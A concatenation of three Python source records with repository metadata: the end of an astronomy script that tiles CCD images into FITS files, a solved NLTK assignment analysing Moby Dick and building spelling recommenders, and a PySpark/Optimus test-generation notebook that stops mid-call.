os.path.isfile(self.inputs['output']):\n            self.log.info('Deleted existing file %s to generate a new output' % self.inputs['output'])\n            os.remove(self.inputs['output'])\n        else:\n            self.log.info('Writing output to %s' % self.inputs['output'])\n\n        if data is None:\n            data = self.CCDdata\n\n        #create a new FITS file, using HDUList instance\n        ofd = pf.HDUList()\n\n        #new image HDU\n        hdu = pf.PrimaryHDU(data, self.hdu)\n\n        #convert to unsigned 16bit int if requested\n        if unsigned16bit:\n            hdu.scale('int16', '', bzero=32768)\n            hdu.header.add_history('Scaled to unsigned 16bit integer!')\n\n        #add keywords\n        for key, value in self.inputs.iteritems():\n            try:\n                hdu.header.add_history('{0:>s} = {1:>s}'.format(key, value))\n            except:\n                hdu.header.add_history('{0:>s} = {1:d}'.format(key, value))\n\n        #update and verify the header\n        hdu.header.add_history('If questions, please contact Sami-Matias Niemi (s.niemi at ucl.ac.uk).')\n        hdu.header.add_history('This file has been created with the VISsim Python Package at %s' \\\n                               % datetime.datetime.isoformat(datetime.datetime.now()))\n        hdu.verify('fix')\n\n        ofd.append(hdu)\n\n        #write the actual file\n        ofd.writeto(self.inputs['output'])\n        self.log.info('Wrote %s' % self.inputs['output'])\n\n\n    def runAll(self):\n        \"\"\"\n        Wrapper to perform all class methods.\n        \"\"\"\n        self.readData()\n        self.tileCCD()\n        self.writeFITSfile()\n\n\ndef processArgs(printHelp=False):\n    \"\"\"\n    Processes command line arguments.\n    \"\"\"\n    parser = OptionParser()\n\n    parser.add_option('-f', '--files', dest='files',\n                      help=\"Input files to compile e.g. 'Q*_00_00science.fits'\", metavar='string')\n    parser.add_option('-o', '--output', dest='output',\n                      help=\"Name of the output file, default=VISCCD.fits\", metavar='string')\n    parser.add_option('-e', '--extension', type='int', dest='ext',\n                     help='FITS extension from which to look for data, default=0', metavar='int')\n    parser.add_option('-d', '--debug', dest='debug', action='store_true',\n                      help='Debugging mode on')\n    if printHelp:\n        parser.print_help()\n    else:\n        return parser.parse_args()\n\n\nif __name__ == '__main__':\n    opts, args = processArgs()\n\n    if opts.files is None:\n        processArgs(True)\n        sys.exit(8)\n\n    #FITS extension\n    if opts.ext is None:\n        ext = 0\n    else:\n        ext = opts.ext\n\n    #name of the output file\n    if opts.output is None:\n        output = 'VISCCD.fits'\n    else:\n        output = opts.output\n\n    #logger\n    log = lg.setUpLogger('tileCCDs.log')\n\n    #look for files\n    files = g.glob(opts.files)\n    files.sort()\n    if len(files) / 4. > 1.0 or len(files) == 0:\n        print 'Detected %i input files, but the current version does not support anything but tiling four files...' \\\n              % len(files)\n        sys.exit(9)\n\n    #write to the log what files were used\n    log.info('Input files:')\n    for file in files:\n        log.info(file)\n\n    #intputs\n    inputs = dict(files=files, ext=ext, output=output)\n\n    #class call\n    tile = tileCCD(inputs, log)\n    tile.runAll()\n\n    log.info('CCD tiled, script will exit...')\n\n", "meta": {"hexsha": "2adc5c85aa3d1e3208fe430efdfbc4720258e5dc", "size": 7975, "ext": "py", "lang": "Python", "max_stars_repo_path": "postproc/tileCCD.py", "max_stars_repo_name": "Borlaff/EuclidVisibleInstrument", "max_stars_repo_head_hexsha": "73a64ad275054d7b1a26f0fe556eae222b65f613", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2016-12-13T16:58:53.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-29T05:29:00.000Z", "max_issues_repo_path": "postproc/tileCCD.py", "max_issues_repo_name": "Borlaff/EuclidVisibleInstrument", "max_issues_repo_head_hexsha": "73a64ad275054d7b1a26f0fe556eae222b65f613", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "postproc/tileCCD.py", "max_forks_repo_name": "Borlaff/EuclidVisibleInstrument", "max_forks_repo_head_hexsha": "73a64ad275054d7b1a26f0fe556eae222b65f613", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2015-07-13T10:01:41.000Z", "max_forks_repo_forks_event_max_datetime": "2019-05-28T13:41:47.000Z", "avg_line_length": 31.0311284047, "max_line_length": 117, "alphanum_fraction": 0.5747962382, "include": true, "reason": "import numpy", "num_tokens": 1934, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1276526302998559, "lm_q1q2_score": 0.06282911012714201}}
{"text": "'''Assignment 2 - Introduction to NLTK\nIn part 1 of this assignment you will use nltk to explore the Herman Melville novel Moby Dick. Then in \npart 2 you will create a spelling recommender function that uses nltk to find words similar to the \nmisspelling.'''\n\n'''Part 1 - Analyzing Moby Dick'''\n\nimport nltk\nimport pandas as pd\nimport numpy as np\n\nnltk.download('punkt')\n# If you would like to work with the raw text you can use 'moby_raw'\nwith open('moby.txt', 'r') as f:\n    moby_raw = f.read()\n    \n# If you would like to work with the novel in nltk.Text format you can use 'text1'\nmoby_tokens = nltk.word_tokenize(moby_raw)\ntext1 = nltk.Text(moby_tokens)\n\n#-----------------------------------------------------------------------\n'''Example 1\nHow many tokens (words and punctuation symbols) are in text1?\n\nThis function should return an integer.'''\n\n#---------- ANSWER CODE ----------\ndef example_one():\n    \n    return len(nltk.word_tokenize(moby_raw)) # or alternatively len(text1)\n\nexample_one()\n\n#---------- ANSWER ----------\n255038\n\n#-----------------------------------------------------------------------\n'''Example 2\nHow many unique tokens (unique words and punctuation) does text1 have?\n\nThis function should return an integer.'''\n\n#---------- ANSWER CODE ----------\ndef example_two():\n    \n    return len(set(nltk.word_tokenize(moby_raw))) # or alternatively len(set(text1))\n\nexample_two()\n\n#---------- ANSWER ----------\n20742\n\n#-----------------------------------------------------------------------\n'''Example 3\nAfter lemmatizing the verbs, how many unique tokens does text1 have?\n\nThis function should return an integer.'''\n\n#---------- ANSWER CODE ----------\nfrom nltk.stem import WordNetLemmatizer\nnltk.download('wordnet')\n\ndef example_three():\n\n    lemmatizer = WordNetLemmatizer()\n    lemmatized = [lemmatizer.lemmatize(w,'v') for w in text1]\n\n    return len(set(lemmatized))\n\nexample_three()\n\n#---------- ANSWER ----------\n16887\n\n#-----------------------------------------------------------------------\n'''Question 1\nWhat is the lexical diversity of the given text input? (i.e. ratio of unique tokens to the total number of \ntokens)\n\nThis function should return a float.'''\n\n#---------- ANSWER CODE ----------\ndef answer_one():\n    \n    \n    return len(set(moby_tokens))/len(moby_tokens)\n\nanswer_one()\n\n#---------- ANSWER ----------\n0.08132905684643073\n\n\n#-----------------------------------------------------------------------\n'''Question 2\nWhat percentage of tokens is 'whale'or 'Whale'?\n\nThis function should return a float.'''\n\n#---------- ANSWER CODE ----------\ndef answer_two():\n    \n    dist = nltk.FreqDist(text1)\n    return (dist['whale']+ dist['Whale']) / len(moby_tokens)*100# Your answer here\n\nanswer_two()\n\n#---------- ANSWER ----------\n0.41248755087477157\n\n#-----------------------------------------------------------------------\n'''Question 3\nWhat are the 20 most frequently occurring (unique) tokens in the text? What is their frequency?\n\nThis function should return a list of 20 tuples where each tuple is of the form (token, frequency). \nThe list should be sorted in descending order of frequency'''\n\n#---------- ANSWER CODE ----------\ndef answer_three():\n    from collections import Counter\n    dist = nltk.FreqDist(text1)\n    return Counter(dist).most_common(20)\n#     sorted_x = sorted(dist.items(), key=lambda kv: kv[1])\n#     return sorted_x[::-1][:20]# Your answer here\n\nanswer_three()\n\n#---------- ANSWER ----------\n'''\n[(',', 19204),\n ('the', 13715),\n ('.', 7306),\n ('of', 6513),\n ('and', 6010),\n ('a', 4545),\n ('to', 4515),\n (';', 4173),\n ('in', 3908),\n ('that', 2978),\n ('his', 2459),\n ('it', 2196),\n ('I', 2113),\n ('!', 1767),\n ('is', 1722),\n ('--', 1713),\n ('with', 1659),\n ('he', 1658),\n ('was', 1639),\n ('as', 1620)]'''\n\n#-----------------------------------------------------------------------\n'''Question 4\nWhat tokens have a length of greater than 5 and frequency of more than 150?\n\nThis function should return an alphabetically sorted list of the tokens that match the above constraints. \nTo sort your list, use sorted()'''\n\n#---------- ANSWER CODE ----------\ndef answer_four():\n    dist = nltk.FreqDist(text1)\n    vocab1 = dist.keys()\n    freq = [w for w in vocab1 if len(w) > 5 and dist[w] > 150]\n    \n    return sorted(freq)# Your answer here\n\nanswer_four()\n\n#---------- ANSWER ----------\n'''\n['Captain',\n 'Pequod',\n 'Queequeg',\n 'Starbuck',\n 'almost',\n 'before',\n 'himself',\n 'little',\n 'seemed',\n 'should',\n 'though',\n 'through',\n 'whales',\n 'without']'''\n\n#-----------------------------------------------------------------------\n'''Question 5\nFind the longest word in text1 and that word's length.\n\nThis function should return a tuple (longest_word, length)'''\n\n#---------- ANSWER CODE ----------\ndef answer_five():\n    mt = np.array(list(set(moby_tokens)))\n    lens = np.array([len(w) for w in mt])\n    \n    return mt[lens == np.max(lens)][0],np.max(lens)#lens[lens == np.max(lens)]# Your answer here\n\nanswer_five()\n\n#---------- ANSWER ----------\n(\"twelve-o'clock-at-night\", 23)\n\n#-----------------------------------------------------------------------\n'''Question 6\nWhat unique words have a frequency of more than 2000? What is their frequency?\n\n\"Hint: you may want to use isalpha() to check if the token is a word and not punctuation.\"\n\nThis function should return a list of tuples of the form (frequency, word) sorted in descending order of \nfrequency.'''\n\n#---------- ANSWER CODE ----------\ndef answer_six():\n    unique = answer_three()\n    answer = [(f,w) for w,f in unique if w.isalpha() and f>2000]\n    return answer\n\nanswer_six()\n\n#---------- ANSWER ----------\n'''\n[(13715, 'the'),\n (6513, 'of'),\n (6010, 'and'),\n (4545, 'a'),\n (4515, 'to'),\n (3908, 'in'),\n (2978, 'that'),\n (2459, 'his'),\n (2196, 'it'),\n (2113, 'I')]'''\n\n#-----------------------------------------------------------------------\n'''Question 7\nWhat is the average number of tokens per sentence?\n\nThis function should return a float.'''\n\n#---------- ANSWER CODE ----------\ndef answer_seven():\n    sentences = nltk.sent_tokenize(moby_raw)\n    sentence_token = np.array([len(nltk.word_tokenize(s)) for s in sentences])\n\n    \n    return sentence_token.mean()# Your answer here\n\nanswer_seven()\n\n#---------- ANSWER ----------\n25.886926512383273\n\n#-----------------------------------------------------------------------\n'''Question 8\nWhat are the 5 most frequent parts of speech in this text? What is their frequency?\n\nThis function should return a list of tuples of the form (part_of_speech, frequency) sorted in descending \norder of frequency.'''\n\n#---------- ANSWER CODE ----------\nnltk.download('averaged_perceptron_tagger')\ndef answer_eight():\n    from collections import Counter\n    pos_tag = nltk.pos_tag(text1) #moby_tokens)\n    tag = [t for p,t in pos_tag ]\n    dist = nltk.FreqDist(tag)\n\n    return Counter(dist).most_common(5)# Your answer here\n\nanswer_eight()\n\n#---------- ANSWER ----------\n[('NN', 32729), ('IN', 28663), ('DT', 25879), (',', 19204), ('JJ', 17613)]\n\n#-----------------------------------------------------------------------\n'''Part 2 - Spelling Recommender\nFor this part of the assignment you will create three different spelling recommenders, that each take a \nlist of misspelled words and recommends a correctly spelled word for every word in the list.\nFor every misspelled word, the recommender should find find the word in correct_spellings that has the \nshortest distance*, and starts with the same letter as the misspelled word, and return that word as a \nrecommendation.\n*Each of the three different recommenders will use a different distance measure (outlined below).\nEach of the recommenders should provide recommendations for the three default words provided: \n['cormulent', 'incendenece', 'validrate'].'''\n\nfrom nltk.corpus import words\nnltk.download('words')\ncorrect_spellings = words.words()\n\n#-----------------------------------------------------------------------\n'''Question 9\nFor this recommender, your function should provide recommendations for the three default words provided above using the following distance \nmetric:\n\nJaccard distance on the trigrams of the two words.\n\nThis function should return a list of length three: \n['cormulent_reccomendation', 'incendenece_reccomendation', 'validrate_reccomendation'].'''\n\n#---------- ANSWER CODE ----------\ndef answer_nine(entries=['cormulent', 'incendenece', 'validrate']):\n    \n    dic = {}\n    for entrie in entries:\n\n        jd = [( word, \n                nltk.jaccard_distance(\n                    set(nltk.ngrams(entrie,n=3)),\n                    set(nltk.ngrams(word,n=3))\n                )\n              ) for word in correct_spellings if word[0] == entrie[0]\n            ]\n        dic[entrie] = pd.DataFrame(jd,columns =['word','jd'])\n    \n    answer = [dic[k][dic[k].jd==dic[k].jd.min()].word.values[0] for k in entries]\n                        \n    return answer # Your answer here\n    \nanswer_nine()\n\n#---------- ANSWER ----------\n['corpulent', 'indecence', 'validate']\n\n#-----------------------------------------------------------------------\n'''Question 10\nFor this recommender, your function should provide recommendations for the three default words provided \nabove using the following distance metric:\n\nJaccard distance on the 4-grams of the two words.\n\nThis function should return a list of length three: \n['cormulent_reccomendation', 'incendenece_reccomendation', 'validrate_reccomendation'].'''\n\n#---------- ANSWER CODE ----------\ndef answer_ten(entries=['cormulent', 'incendenece', 'validrate']):\n     \n    dic = {}\n    for entrie in entries:\n\n        jd = [( word, \n                nltk.jaccard_distance(\n                    set(nltk.ngrams(entrie,n=4)),\n                    set(nltk.ngrams(word,n=4))\n                )\n              ) for word in correct_spellings if word[0] == entrie[0]\n            ]\n        dic[entrie] = pd.DataFrame(jd,columns =['word','jd'])\n    \n    answer = [dic[k][dic[k].jd==dic[k].jd.min()].word.values[0] for k in entries]\n                        \n    return answer # Your answer here\n    \nanswer_ten()\n\n#---------- ANSWER ----------\n['cormus', 'incendiary', 'valid']\n\n#-----------------------------------------------------------------------\n'''Question 11\nFor this recommender, your function should provide recommendations for the three default words provided \nabove using the following distance metric:\n\nEdit distance on the two words with transpositions.\n\nThis function should return a list of length three: \n['cormulent_reccomendation', 'incendenece_reccomendation', 'validrate_reccomendation'].'''\n\n#---------- ANSWER CODE ----------\ndef answer_eleven(entries=['cormulent', 'incendenece', 'validrate']):\n       \n    dic = {}\n        \n    for entrie in entries:\n        jd = [( word, \n                nltk.edit_distance(entrie, word)\n              ) for word in correct_spellings if word[0] == entrie[0]\n            ]\n        dic[entrie] = pd.DataFrame(jd,columns =['word','jd'])\n    \n    answer = [dic[k][dic[k].jd==dic[k].jd.min()].word.values[0] for k in entries]\n        \n    return answer # Your answer here\n    \nanswer_eleven()\n#---------- ANSWER ----------\n['corpulent', 'intendence', 'validate']\n#-----------------------------------------------------------------------", "meta": {"hexsha": "b63e1348b42b569fcbcbf6a32c364f7e2e697fd5", "size": 11256, "ext": "py", "lang": "Python", "max_stars_repo_path": "Data_Science_Python/Applied_Text_Mining_in_Python/Assignment2.py", "max_stars_repo_name": "SebastVR/text", "max_stars_repo_head_hexsha": "b86bd5457347a200d0920213c6a2eccbc3915696", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-16T02:11:50.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-16T02:11:50.000Z", "max_issues_repo_path": "Data_Science_Python/Applied_Text_Mining_in_Python/Assignment2.py", "max_issues_repo_name": "SebastVR/test", "max_issues_repo_head_hexsha": "b86bd5457347a200d0920213c6a2eccbc3915696", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Data_Science_Python/Applied_Text_Mining_in_Python/Assignment2.py", "max_forks_repo_name": "SebastVR/test", "max_forks_repo_head_hexsha": "b86bd5457347a200d0920213c6a2eccbc3915696", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.1606217617, "max_line_length": 139, "alphanum_fraction": 0.5695628998, "include": true, "reason": "import numpy", "num_tokens": 2591, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4186968948485237, "lm_q2_score": 0.15002883004302128, "lm_q1q2_score": 0.06281660527676991}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.3'\n#       jupytext_version: 0.8.2\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n#   language_info:\n#     codemirror_mode:\n#       name: ipython\n#       version: 3\n#     file_extension: .py\n#     mimetype: text/x-python\n#     name: python\n#     nbconvert_exporter: python\n#     pygments_lexer: ipython3\n#     version: 3.6.5\n# ---\n\n# %load_ext autoreload\n# %autoreload 2\n\nimport sys\n\nsys.path.append(\"../..\")\n\nfrom optimus import Optimus\n\nop = Optimus(master='local')\n\n# +\nimport pandas as pd\nfrom pyspark.sql.types import *\nfrom datetime import date, datetime\n\n\ncols = [\n        (\"names\", \"str\"),\n        (\"height(ft)\", ShortType()),\n        (\"function\", \"str\"),\n        (\"rank\", ByteType()),\n        (\"age\", \"int\"),\n        (\"weight(t)\", \"float\"),\n        \"japanese name\",\n        \"last position seen\",\n        \"date arrival\",\n        \"last date seen\",\n        (\"attributes\", ArrayType(FloatType())),\n        (\"DateType\", DateType()),\n        (\"Tiemstamp\", TimestampType()),\n        (\"Cybertronian\", BooleanType()),\n        (\"function(binary)\", BinaryType()),\n        (\"NullType\", NullType())\n\n    ]\n\nrows = [\n        (\"Optim'us\", 28, \"Leader\", 10, 5000000, 4.30, [\"Inochi\", \"Convoy\"], \"19.442735,-99.201111\", \"1980/04/10\",\n         \"2016/09/10\", [8.5344, 4300.0], date(2016, 9, 10), datetime(2014, 6, 24), True, bytearray(\"Leader\", \"utf-8\"),\n         None),\n        (\"bumbl#eb\u00e9\u00e9  \", 17, \"Espionage\", 7, 5000000, 2.0, [\"Bumble\", \"Goldback\"], \"10.642707,-71.612534\", \"1980/04/10\",\n         \"2015/08/10\", [5.334, 2000.0], date(2015, 8, 10), datetime(2014, 6, 24), True, bytearray(\"Espionage\", \"utf-8\"),\n         None),\n        (\"ironhide&\", 26, \"Security\", 7, 5000000, 4.0, [\"Roadbuster\"], \"37.789563,-122.400356\", \"1980/04/10\",\n         \"2014/07/10\", [7.9248, 4000.0], date(2014, 6, 24), datetime(2014, 6, 24), True, bytearray(\"Security\", \"utf-8\"),\n         None),\n        (\"Jazz\", 13, \"First Lieutenant\", 8, 5000000, 1.80, [\"Meister\"], \"33.670666,-117.841553\", \"1980/04/10\",\n         \"2013/06/10\", [3.9624, 1800.0], date(2013, 6, 24), datetime(2014, 6, 24), True,\n         bytearray(\"First Lieutenant\", \"utf-8\"), None),\n        (\"Megatron\", None, \"None\", 10, 5000000, 5.70, [\"Megatron\"], None, \"1980/04/10\", \"2012/05/10\", [None, 5700.0],\n         date(2012, 5, 10), datetime(2014, 6, 24), True, bytearray(\"None\", \"utf-8\"), None),\n        (\"Metroplex_)^$\", 300, \"Battle Station\", 8, 5000000, None, [\"Metroflex\"], None, \"1980/04/10\", \"2011/04/10\",\n         [91.44, None], date(2011, 4, 10), datetime(2014, 6, 24), True, bytearray(\"Battle Station\", \"utf-8\"), None),\n\n    ]\ndf = op.create.df(cols ,rows)\ndf.table()\n# -\n\n\nfrom optimus.helpers.test import Test\nfrom pyspark.ml.linalg import Vectors\n\n# +\n## Optimus Test\n# -\n\nt = Test(op, None, \"Optimus\", imports=[\"import datetime\",\n                                \"from pyspark.sql import functions as F\"])\n\n# +\none_column = {\"rows\":[\"Argenis\", \"Favio\", \"Matthew\"], \"cols\":[\"name\"]}\nplain = {\"rows\":[(\"BOB\", 1),(\"JoSe\", 2)],\"cols\":[\"name\",\"age\"]}\nplain_infer_false = {\"rows\":[(\"BOB\", 1),(\"JoSe\", 2)],\"cols\":[\"name\",\"age\"],\"infer_schema\":False}\nwith_data_types = {\"rows\":[(\"BOB\", 1),(\"JoSe\", 2)],\"cols\":[(\"name\", StringType(), True),(\"age\", IntegerType(), False)]}\nnullable = {\"rows\":[(\"BOB\", 1),(\"JoSe\", 2)],\"cols\":[(\"name\", StringType()),(\"age\", IntegerType())]}\n\ndf1 = op.create.df(**one_column)\ndf2 = op.create.df(**plain)\ndf3 = op.create.df(**plain_infer_false)\ndf4 = op.create.df(**with_data_types)\ndf5 = op.create.df(**nullable)\n\nt.run(\n\n    t.create(df1, None, \"one_column\", \"df\", **one_column),\n    t.create(df2, None, \"plain\", \"df\", **plain),\n    t.create(df3, None, \"plain_infer_false\", \"df\", **plain_infer_false),\n    t.create(df4, None, \"with_data_types\", \"df\", **with_data_types),\n    t.create(df5, None, \"nullable\", \"df\", **nullable),\n    \n)\n\n# +\n## Columns Test\n# -\n\nt = Test(op, df, \"df_cols\", imports=[\"from pyspark.ml.linalg import Vectors, VectorUDT, DenseVector\",\n                                        \"import numpy as np\",\n                                        \"nan = np.nan\",\n                                        \"import datetime\",\n                                        \"from pyspark.sql import functions as F\"])\n\n# +\nfrom pyspark.sql import functions as F\n\n\ndef func(col_name, attrs):\n    return F.col(col_name) * 2\n\nnumeric_col = \"height(ft)\"\nnumeric_col_B = \"rank\"\nnumeric_col_C = \"rank\"\nstring_col = \"function\"\ndata_col = \"date arrival\"\ndata_col_B = \"last date seen\"\nnew_col = \"new col\"\narray_col = \"attributes\"\n\nt.run(\n    \n    t.create(None, \"cols.min\", None, \"json\", numeric_col),\n    t.create(None, \"cols.min\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.max\", None, \"json\", numeric_col),\n    t.create(None, \"cols.max\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.range\", None, \"json\", numeric_col),\n    t.create(None, \"cols.range\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.median\", None, \"json\", numeric_col),\n    t.create(None, \"cols.median\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.percentile\", None, \"json\", numeric_col, [0.05, 0.25], 1),\n    t.create(None, \"cols.percentile\", \"all_columns\", \"json\", \"*\", [0.05, 0.25], 1),\n\n    t.create(None, \"cols.mad\", None, \"json\", numeric_col),\n    t.create(None, \"cols.mad\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.std\", None, \"json\", numeric_col),\n    t.create(None, \"cols.std\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.kurt\", None, \"json\", numeric_col),\n    t.create(None, \"cols.kurt\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.mean\", None, \"json\", numeric_col),\n    t.create(None, \"cols.mean\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.skewness\", None, \"json\", numeric_col),\n    t.create(None, \"cols.skewness\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.sum\", None, \"json\", numeric_col),\n    t.create(None, \"cols.sum\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.variance\", None, \"json\", numeric_col),\n    t.create(None, \"cols.variance\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.abs\", None, \"df\", numeric_col),\n    t.create(None, \"cols.abs\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.mode\", None, \"json\", numeric_col),\n    t.create(None, \"cols.mode\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.count\", None, \"json\"),\n\n    t.create(None, \"cols.count_na\", None, \"json\", numeric_col),\n    t.create(None, \"cols.count_na\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.count_zeros\", None, \"json\", numeric_col),\n    t.create(None, \"cols.count_zeros\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.count_uniques\", None, \"json\", numeric_col),\n    t.create(None, \"cols.count_uniques\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.unique\", None, \"df\", numeric_col),\n    t.create(None, \"cols.unique\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.add\", None, \"df\", [numeric_col, numeric_col_B]),\n    t.create(None, \"cols.add\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.sub\", None, \"df\", [numeric_col, numeric_col_B]),\n    t.create(None, \"cols.sub\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.mul\", None, \"df\", [numeric_col, numeric_col_B]),\n    t.create(None, \"cols.mul\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.div\", None, \"df\", [numeric_col, numeric_col_B]),\n    t.create(None, \"cols.div\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.z_score\", None, \"df\", numeric_col),\n    t.create(None, \"cols.z_score\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.iqr\", None, \"json\", numeric_col),\n    t.create(None, \"cols.iqr\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.lower\", None, \"df\", numeric_col),\n    t.create(None, \"cols.lower\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.upper\", None, \"df\", numeric_col),\n    t.create(None, \"cols.upper\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.trim\", None, \"df\", numeric_col),\n\n    t.create(None, \"cols.trim\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.reverse\", None, \"df\", numeric_col),\n    t.create(None, \"cols.reverse\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.remove_accents\", None, \"df\", numeric_col),\n    t.create(None, \"cols.remove_accents\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.remove_special_chars\", None, \"df\", numeric_col),\n    t.create(None, \"cols.remove_special_chars\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.remove_white_spaces\", None, \"df\", numeric_col),\n    t.create(None, \"cols.remove_white_spaces\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.date_transform\", None, \"df\", data_col, \"yyyy/MM/dd\", \"dd-MM-YYYY\"),\n    t.create(None, \"cols.date_transform\", \"all_columns\", \"df\", [data_col, data_col_B], \"yyyy/MM/dd\", \"dd-MM-YYYY\"),\n\n    t.create(None, \"cols.years_between\", None, \"df\", data_col, \"yyyyMMdd\"),\n    t.create(None, \"cols.years_between\", \"multiple_columns\", \"df\", [data_col, data_col_B], \"yyyyMMdd\"),\n\n    # ---\n\n    t.create(None, \"cols.impute\", None, \"df\", numeric_col_B),\n    t.create(None, \"cols.impute\", \"all_columns\", \"df\", \"*\"),\n\n    t.create(None, \"cols.hist\", None, \"json\", numeric_col_B, 4),\n    #t.create(None,\"cols.hist\",\"all_columns\",\"df\",\"*\",4),\n\n    t.create(None, \"cols.frequency\", None, \"json\", numeric_col_B, 4),\n    t.create(None, \"cols.frequency\", \"all_columns\", \"json\", \"*\", 4),\n\n    t.create(None, \"cols.schema_dtype\", None, \"json\", numeric_col_B),\n    #t.create(None, \"cols.schema_dtype\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.dtypes\", None, \"json\", numeric_col_B),\n    t.create(None, \"cols.dtypes\", \"all_columns\", \"json\", \"*\"),\n\n    t.create(None, \"cols.select_by_dtypes\", \"str\", \"df\", \"str\"),\n    t.create(None, \"cols.select_by_dtypes\", \"int\", \"df\", \"int\"),\n    t.create(None, \"cols.select_by_dtypes\", \"float\", \"df\", \"float\"),\n    t.create(None, \"cols.select_by_dtypes\", \"array\", \"df\", \"array\"),\n\n    t.create(None, \"cols.names\", None, \"json\"),\n\n    t.create(None, \"cols.qcut\", None, \"df\", numeric_col_B, 4),\n    t.create(None, \"cols.qcut\", \"all_columns\", \"df\", \"*\", 4),\n\n    t.create(None, \"cols.clip\", None, \"df\", numeric_col_B, 3, 5),\n    t.create(None, \"cols.clip\", \"all_columns\", \"df\", \"*\", 3, 5),\n\n    t.create(None, \"cols.replace\", None, \"df\", string_col, [(\"Security\", \"Leader\")], \"Match\"),\n    t.create(None, \"cols.replace\", \"all_columns\", \"df\", \"*\", [(\"Jazz\", \"Leader\")], \"Match\"),\n\n    t.create(None, \"cols.apply_expr\", None, \"df\", numeric_col_B, func),\n    t.create(None, \"cols.apply_expr\", \"all_columns\", \"df\", [numeric_col_B,numeric_col_C], func),\n\n    t.create(None, \"cols.append\", \"number\", \"df\", new_col, 1),\n\n    #t.create(None, \"cols.append\", \"advance\", \"df\", [(\"new_col_4\", \"test\"),\n    #                                                (\"new_col_5\", df[numeric_col_B] * 2),\n    #                                                (\"new_col_6\", [1, 2, 3])\n    #                                                ]),\n\n    t.create(None, \"cols.rename\", None, \"df\", numeric_col_B, numeric_col_B + \"(old)\"),\n    t.create(None, \"cols.rename\", \"list\", \"df\",\n             [numeric_col, numeric_col + \"(tons)\", numeric_col_B, numeric_col_B + \"(old)\"]),\n    t.create(None, \"cols.rename\", \"function\", \"df\", str.upper),\n\n    t.create(None, \"cols.drop\", None, \"df\", numeric_col_B),\n\n    t.create(None, \"cols.cast\", None, \"df\", string_col, \"string\"),\n    t.create(None, \"cols.cast\", \"all_columns\", \"df\", \"*\", \"string\"),\n    t.create(None, \"cols.cast\", \"vector\", \"df\", array_col, Vectors),\n\n    t.create(None, \"cols.keep\", None, \"df\", numeric_col_B),\n\n    t.create(None, \"cols.move\", None, \"df\", numeric_col_B, \"after\", array_col),\n\n    t.create(None, \"cols.select\", None, \"df\", 0, numeric_col),\n\n    t.create(None, \"cols.select\", \"regex\", \"df\", \"n.*\", regex=True),\n\n    t.create(None, \"cols.sort\", None, \"df\"),\n    t.create(None, \"cols.sort\", \"desc\", \"df\", \"desc\"),\n    t.create(None, \"cols.sort\", \"asc\", \"df\", \"asc\"),\n\n    t.create(None, \"cols.fill_na\", None, \"df\", numeric_col, \"N/A\"),\n    t.create(None, \"cols.fill_na\", \"all_columns\", \"df\", \"*\", \"N/A\"),\n\n    t.create(None, \"cols.nest\", None, \"df\", [numeric_col, numeric_col_B], new_col, separator=\" \"),\n    #t.create(None, \"cols.nest\", \"mix\", \"df\", [F.col(numeric_col), F.col(numeric_col_B)], \"E\", separator=\"--\"),\n\n    